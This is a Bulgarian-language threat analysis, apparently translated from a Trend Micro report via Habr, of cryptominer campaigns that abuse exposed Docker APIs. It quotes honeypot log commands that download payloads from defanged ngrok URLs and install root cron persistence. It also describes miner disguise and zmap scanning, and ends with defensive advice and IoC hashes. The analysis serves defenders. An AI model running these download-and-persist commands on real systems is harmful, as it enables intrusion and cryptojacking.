Как нечастният Docker API и публичните изображения от общността се използват за разпространение на копачи на криптовалута

Анализирахме данните, събрани с помощта на контейнери honeypot, които създадохме за проследяване на заплахи. И ние открихме значителна активност от нежелани или неоторизирани копачи на криптовалута, внедрени като измамни контейнери, използвайки публикувано от общността изображение в Docker Hub. Изображението се използва като част от услуга, която доставя злонамерени копачи на криптовалута.

Освен това са инсталирани програми за работа с мрежи за проникване в отворени съседни контейнери и приложения.

Ние оставяме нашите honeypots такива, каквито са, тоест с настройките по подразбиране, без никакви мерки за сигурност или последващо инсталиране на допълнителен софтуер. Моля, имайте предвид, че Docker има препоръки за първоначална настройка, за да избегнете грешки и прости уязвимости. Но използваните honeypots са контейнери, предназначени да откриват атаки, насочени към платформата за контейнеризиране, а не към приложенията вътре в контейнерите.

Откритата злонамерена дейност също е забележителна, защото не изисква уязвимости и също така е независима от версията на Docker. Намирането на неправилно конфигурирано и следователно отворено изображение на контейнер е всичко, от което нападателите се нуждаят, за да заразят много отворени сървъри.

Незатвореният API на Docker позволява на потребителя да изпълнява широка гама от отбори, включително получаване на списък с работещи контейнери, получаване на регистрационни файлове от конкретен контейнер, стартиране, спиране (включително принудително) и дори създаване на нов контейнер от конкретно изображение с определени настройки.

Отляво е методът за доставка на зловреден софтуер. Вдясно е средата на атакуващия, която позволява дистанционно пускане на изображения.

Разпределение по държави на 3762 отворени API на Docker. Въз основа на търсене на Shodan от 12.02.2019 г

Опции за верига за атака и полезен товар

Злонамерената дейност беше открита не само с помощта на honeypots. Данните от Shodan показват, че броят на разкритите API на Docker (вижте втората графика) се е увеличил, откакто проучихме неправилно конфигуриран контейнер, използван като мост за внедряване на софтуер за копаене на криптовалута Monero. През октомври миналата година (2018 г., текущи данни можете да изглеждате така прибл. преводач) имаше само 856 отворени API.

Проверката на регистрационните файлове на honeypot показа, че използването на изображения на контейнер също е свързано с използването на ngrok, инструмент за установяване на сигурни връзки или пренасочване на трафик от обществено достъпни точки до определени адреси или ресурси (например localhost). Това позволява на атакуващите да създават динамично URL адреси, когато доставят полезен товар на отворен сървър. По-долу са примерни кодове от регистрационните файлове, показващи злоупотреба с услугата ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Както можете да видите, качените файлове се изтеглят от постоянно променящи се URL адреси. Тези URL адреси имат кратък срок на валидност, така че полезните данни не могат да бъдат изтеглени след датата на изтичане.

Има две опции за полезен товар. Първият е компилиран ELF майнер за Linux (дефиниран като Coinminer.SH.MALXMR.ATNO), който се свързва с пула за копаене. Вторият е скрипт (TrojanSpy.SH.ZNETMAP.A), предназначен да получи определени мрежови инструменти, използвани за сканиране на мрежови диапазони и след това търсене на нови цели.

Скриптът за капка задава две променливи, които след това се използват за внедряване на копача на криптовалута. Променливата HOST съдържа URL адреса, където се намират злонамерените файлове, а променливата RIP е името на файла (всъщност хеш) на копача, който ще бъде внедрен. Променливата HOST се променя всеки път, когато променливата хеш се променя. Скриптът също така се опитва да провери дали други копачи на криптовалута не работят на атакувания сървър.

Примери за HOST и RIP променливи, както и кодов фрагмент, използван за проверка дали не работят други копачи

Преди да стартирате миньора, той се преименува на nginx. Други версии на този скрипт преименуват копача на други легитимни услуги, които може да присъстват в среди на Linux. Това обикновено е достатъчно, за да се заобиколят проверките срещу списъка с изпълнявани процеси.

Скриптът за търсене също има функции. Работи със същата URL услуга за внедряване на необходимите инструменти. Сред тях е двоичният файл zmap, който се използва за сканиране на мрежи и получаване на списък с отворени портове. Скриптът също така зарежда друг двоичен файл, който се използва за взаимодействие с намерените услуги и получаване на банери от тях, за да се определи допълнителна информация за намерената услуга (например нейната версия).

Скриптът също така предварително определя някои мрежови диапазони за сканиране, но това зависи от версията на скрипта. Той също така задава целевите портове от услугите - в този случай Docker - преди да започне сканирането.

Веднага щом бъдат намерени възможни цели, банерите автоматично се премахват от тях. Скриптът също филтрира цели в зависимост от услугите, приложенията, компонентите или платформите, които представляват интерес: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16 клиент и Apache CouchDB. Ако сканираният сървър отговаря на някой от тях, той се записва в текстов файл, който атакуващите могат по-късно да използват за последващ анализ и хакване. Тези текстови файлове се качват на сървърите на нападателите чрез динамични връзки. Тоест за всеки файл се използва отделен URL, което означава, че последващият достъп е труден.

Векторът на атака е Docker изображение, както може да се види в следващите две части от кода.

В горната част е преименуването на легитимна услуга, а в долната част е как zmap се използва за сканиране на мрежи

В горната част са предварително зададени мрежови диапазони, в долната част са специфични портове за търсене на услуги, включително Docker

Екранната снимка показва, че изображението с алпийски къдрици е изтеглено повече от 10 милиона пъти

Базиран на Alpine Linux и curl, ресурсно ефективен CLI инструмент за прехвърляне на файлове през различни протоколи, можете да изградите Докер изображение. Както можете да видите в предишното изображение, това изображение вече е изтеглено повече от 10 милиона пъти. Големият брой изтегляния може да означава използването на това изображение като входна точка; това изображение е актуализирано преди повече от шест месеца; потребителите не са изтегляли други изображения от това хранилище толкова често. В Docker входна точка - набор от инструкции, използвани за конфигуриране на контейнер, за да го изпълнява. Ако настройките на входната точка са неправилни (например, контейнерът е оставен отворен от интернет), изображението може да се използва като вектор за атака. Нападателите могат да го използват, за да доставят полезен товар, ако намерят неправилно конфигуриран или отворен контейнер, оставен неподдържан.

Важно е да се отбележи, че това изображение (alpine-curl) само по себе си не е злонамерено, но както можете да видите по-горе, може да се използва за извършване на злонамерени функции. Подобни изображения на Docker могат също да се използват за извършване на злонамерени дейности. Свързахме се с Docker и работихме с тях по този проблем.

препоръки

Неправилна настройка останки постоянен проблем за много фирми, особено тези внедряващи DevOps, фокусиран върху бързото развитие и доставка. Всичко се утежнява от необходимостта да се спазват правилата за одит и мониторинг, необходимостта да се следи поверителността на данните, както и огромните щети от тяхното неспазване. Включването на автоматизация на сигурността в жизнения цикъл на разработка не само ви помага да откриете дупки в сигурността, които иначе биха могли да останат неоткрити, но също така ви помага да намалите ненужното натоварване, като например стартиране на допълнителни софтуерни компилации за всяка открита уязвимост или неправилна конфигурация след внедряване на приложение.

Инцидентът, обсъден в тази статия, подчертава необходимостта да се вземе предвид безопасността от самото начало, включително следните препоръки:

• За системни администратори и разработчици: Винаги проверявайте настройките на API, за да се уверите, че всичко е конфигурирано да приема само заявки от конкретен сървър или вътрешна мрежа.
• Следвайте принципа на най-малко права: уверете се, че изображенията на контейнери са подписани и проверени, ограничете достъпа до критични компоненти (услуга за стартиране на контейнери) и добавете криптиране към мрежовите връзки.
• последвам препоръки и активиране на механизми за сигурност, напр. от Docker и вграден функции за безопасност.
• Използвайте автоматизирано сканиране на изпълнения и изображения, за да получите допълнителна информация за процесите, изпълнявани в контейнера (например за откриване на подправяне или търсене на уязвимости). Контролът на приложенията и мониторингът на целостта помагат да се проследят необичайни промени в сървъри, файлове и системни области.

Trendmicro помага на екипите на DevOps да изграждат сигурно, да внедряват бързо и да стартират навсякъде. Trend Micro Хибридна облачна сигурност Осигурява мощна, рационализирана и автоматизирана сигурност в DevOps тръбопровода на организацията и осигурява множество защити срещу заплахи XGen за защита на физически, виртуални и облачни натоварвания по време на изпълнение. Той също така добавя сигурност на контейнера с Дълбока сигурност и Deep Security Smart Check, които сканират изображения на контейнери на Docker за зловреден софтуер и уязвимости във всяка точка от процеса на разработка, за да предотвратят заплахи, преди да бъдат внедрени.

Признаци на компромис

Свързани хешове:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На Докер видео курс Практикуващи лектори показват какви настройки трябва да се направят първо, за да се сведе до минимум вероятността или напълно да се избегне възникването на ситуацията, описана по-горе. А на 19-21 август на онлайн интензив DevOps инструменти и кодове Можете да обсъдите тези и подобни проблеми със сигурността с колеги и практикуващи учители на кръгла маса, където всеки може да се изкаже и да изслуша болките и успехите на опитни колеги.

Източник: www.habr.com